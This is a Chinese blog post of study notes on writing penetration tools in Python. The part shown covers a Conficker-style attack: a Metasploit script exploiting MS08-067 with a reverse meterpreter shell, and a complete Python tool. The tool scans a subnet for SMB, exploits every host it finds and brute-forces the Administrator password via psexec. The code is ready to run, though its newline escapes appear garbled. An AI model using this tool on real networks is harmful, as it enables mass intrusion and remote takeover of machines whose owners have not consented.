专题 | Python编写渗透工具学习笔记二

时间:2022-04-27
本文章向大家介绍专题 | Python编写渗透工具学习笔记二,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

目录

0x01编写一个conficker蠕虫

--使用Metasploit攻击Windows SMB服务

--编写Python脚本与Metasploit交互

--爆破SMB口令,远程执行进程

--整合代码

0x02利用FTP与web批量抓肉鸡

--构建匿名ftp扫描器

--爆破ftp用户口令

--在ftp服务器中搜索页面

--在网页中加入恶意代码

--一整份完整的攻击代码

0x03用python构建ssh僵尸网络

--用pxssh暴力破解ssh密码

--构建ssh僵尸网络

--进一步修改完善代码

0x04编写程序分析流量检测ddos攻击

--使用dpkt发现下载loic的行为

--基础知识补充

--解析Hive服务器上的IRC命令

--检测DDoS攻击

--整合脚本

0x05编写脚本劫持tcp会话

--使用scapy制造syn泛洪攻击

--计算tcp序列号

--伪造tcp连接

0x01编写一个conficker蠕虫

整体思路:写好rc脚本-->运行msf执行攻击

Conficker 蠕虫使用了两种不同的攻击方法。首先,它利用了Windows 服务器中一个服务的0day 漏洞。利用这个栈溢出漏洞,蠕虫能在被感染的主机上执行shellcode 并下载蠕虫。当这种攻击失败时,Conficker 蠕虫又尝试暴力破解默认的管理员网络共享(ADMIN$)的口令以获取肉机访问权。

这里主要利用了MS08-067的这个漏洞来进行演示

01

使用Metasploit攻击Windows SMB服务

我下面先演示一下利用msf去攻击一台存在该漏洞的电脑

环境说明

  • 被攻击机 winxp 10.10.10.129
  • 攻击机 kali 10.10.10.128

先把把一下内容写进conficker.rc文件

(可以先把利用代码写进一个rc脚本,然后使用命令 msfconsole -r rc脚本文件名 调用msf来执行rc脚本中的利用代码。)

use exploit/windows/smb/ms08_067_netapi
set RHOST 10.10.10.129
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.10.128
set LPORT 7777
exploit -j -z

这里exploit命令的-j参数表示攻击在后台进行,-z参数表示攻击完成后不与会话进行交互。

然后利用msf对靶机进行攻击msfconsole -r /conficker.rc

可以看到我们这里成功的得到了一个反弹shell并获得了一个session,我们打开它

02

编写Python脚本与Metasploit交互

实现思路:

因为smb服务默认端口是445端口,所以我们先要扫描出开放了445端口的主机

然后我们都知道msf可以直接先把利用代码写进一个rc脚本。

然后使用msfconsole -r rc脚本文件名 这样的方式来执行rc脚本中的利用代码。

所以下面我们要编写一个confickerExploit()函数,就是用来实现写入生成漏洞利用代码的一些信息到rc脚本的功能的,例如目标主机、本地地址和端口等,该函数还把指定使用哪个漏洞利用代码的指令也写进rc脚本中。

值得注意的是,在confickerExploit()函数中,脚本发送了一条指令在同一个任务(job)的上下文环境中(-j),不与任务进行即时交互的条件下(-z)利用对目标主机上的漏洞。因为这个脚本是实现批量式操作的,即会渗透多个目标主机,因而不可能同时与各个主机进行交互而必须使用-j和-z参数。

因为我们到时候是要同时对多台电脑发动攻击,所以我们要为每一个目标都要在本地设置一个不同的lport(本地端口,用来接收会话的)

具体实现思路是用num_host储存扫描出来的开放了445端口的靶机的数量,用num_host来控制总共要设置的端口的数量,并用一个for循环每循环一次让端口的值增加1

(下面的local_port是我们执行脚本的时候自己输入的参数,待会会说)

03

爆破SMB口令,远程执行进程

尽管攻击者已经能成功地在被黑的主机上运行ms08_067_netapi 漏洞利用代码,但防卫者也能很方便地通过安装最新的安全补丁来阻止漏洞利用代码被执行。因此,我们的脚本还需要另一种也在Conficker 蠕虫中使用过的攻击方法。它需要用暴力攻击的方式破解SMB 用户名/密码,以此获取权限在目标主机上远程执行一个进程(psexec)。输入smbBrute 函数的参数有:Metasploit 脚本文件、目标主机、包含密码列表的另一个文件,以及本机地址和端口。它将用户名设为Windows 的默认管理员administrator,然后打开密码列表文件。对文件中的每个密码,函数都会生成一个用来远程执行(psexec)进程的Metasploit 脚本。如果某个用户名/密码对是正确的,远程执行进程的代码就会运行回连一个命令行shell 到攻击者本机地址及对应的端口。

04

整合代码

05

实例演示

可以看到,我们扫描除了两台开放了445端口的主机,并对它们发动了攻击,最后也成功获得了两台目标机的会话,并使用了 sessions -i 2 命令打开了会话,然后利用meterpreter执行shell 命令得到了一个反弹shell

06

工具完整代码

#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import optparse
import sys
import nmap
#获得目标主机数组(开放了445的主机)
def findTgts(host):
    tgtHosts = []
    tgthost=host.split('.')
    subnet=tgthost[0]+'.'+tgthost[1]+'.'+tgthost[2]+'.'
    for num in range(0,256):
        try:
            host=subnet+str(num)
            nmScan = nmap.PortScanner()
            nmScan.scan(host, '445')
            state = nmScan[host]['tcp'][445]['state']
            if state == 'open':
                print '[+] Found Target Host: ' + host
                tgtHosts.append(host)
        except Exception,e:
            print '[!]'+host+' ERROR: '+str(e)
    # print len(tgtHosts)
    return tgtHosts
#写入用户生成漏洞利用代码的信息
def confickerExploit(configFile,tgtHost,lhost,lport):
    configFile.write('use exploit/windows/smb/ms08_067_netapin')
    configFile.write('set RHOST ' + str(tgtHost) + 'n')
    configFile.write('set payload '+
      'windows/meterpreter/reverse_tcpn')
    configFile.write('set LPORT ' + str(lport) + 'n')
    configFile.write('set LHOST ' + lhost + 'n')
    configFile.write('exploit -j -zn')
#爆破SMB口令,远程执行进程
def smbBrute(configFile,tgtHost,passwdFile,lhost,lport='7777'):
    username = 'Administrator'
    pF = open(passwdFile, 'r')
    for password in pF.readlines():
        password = password.strip('n').strip('r')
        configFile.write('use exploit/windows/smb/psexecn')
        configFile.write('set SMBUser ' + str(username) + 'n')
        configFile.write('set SMBPass ' + str(password) + 'n')
        configFile.write('set RHOST ' + str(tgtHost) + 'n')
        configFile.write('set payload '+
          'windows/meterpreter/reverse_tcpn')
        configFile.write('set LPORT ' + str(lport) + 'n')
        configFile.write('set LHOST ' + lhost + 'n')
        configFile.write('exploit -j -zn')
#写好rc脚本-->运行msf执行攻击
def main():
    #打开一个rc文件
    configFile = open('meta.rc', 'w')
    #接收和解析命令行参数,以及定义脚本使用说明
    parser = optparse.OptionParser('[-] Usage %prog '+
      '-H <RHOST[s]> -l <LHOST> -p <LPORT> [-F <Password File>]')
    parser.add_option('-H', dest='tgtHost', type='string',
      help='specify the target address[es]')
    parser.add_option('-p', dest='lport', type='string',
      help='specify the listen port')
    parser.add_option('-l', dest='lhost', type='string',
      help='specify the listen address')
    parser.add_option('-F', dest='passwdFile', type='string',
      help='password file for SMB brute force attempt')
    (options, args) = parser.parse_args()
    if (options.tgtHost == None) | (options.lhost == None) | (options.lport == None):
        print parser.usage
        exit(0)
    lhost = options.lhost
    lport = options.lport
    passwdFile = options.passwdFile
    tgtHosts = findTgts(options.tgtHost)
    num_host=len(tgtHosts)
    lports=[]
    for i in range(0,num_host):
        local_port=int(lport)+i
        lports.append(str(local_port))
    for i in range(0,num_host):
        tgtHost=tgtHosts[i]
        lport=lports[i]
        confickerExploit(configFile, tgtHost, lhost, lport)
        if passwdFile != None:
            smbBrute(configFile,tgtHost,passwdFile,lhost)
    configFile.close()
    #运行msf
    os.system('msfconsole -r meta.rc')
if __name__ == '__main__':
    main()